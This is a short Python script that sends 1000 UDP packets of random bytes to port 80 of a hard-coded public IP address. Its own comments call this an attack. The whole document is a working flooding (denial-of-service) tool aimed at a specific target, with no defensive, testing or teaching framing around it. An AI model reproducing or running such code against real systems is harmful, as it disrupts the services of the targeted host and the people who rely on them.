#1
import socket
import random

# Set target IP address
target_ip = "72.136.114.187"

# Set port number to attack
port = 80

# Set the number of requests to send
num_requests = 1000

# Create a socket object
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Set the buffer size
bytes = random._urandom(1024)

# Send the requests
for i in range(num_requests):
    sock.sendto(bytes, (target_ip, port))
    print("Sent request", i+1)

# Close the socket object
sock.close()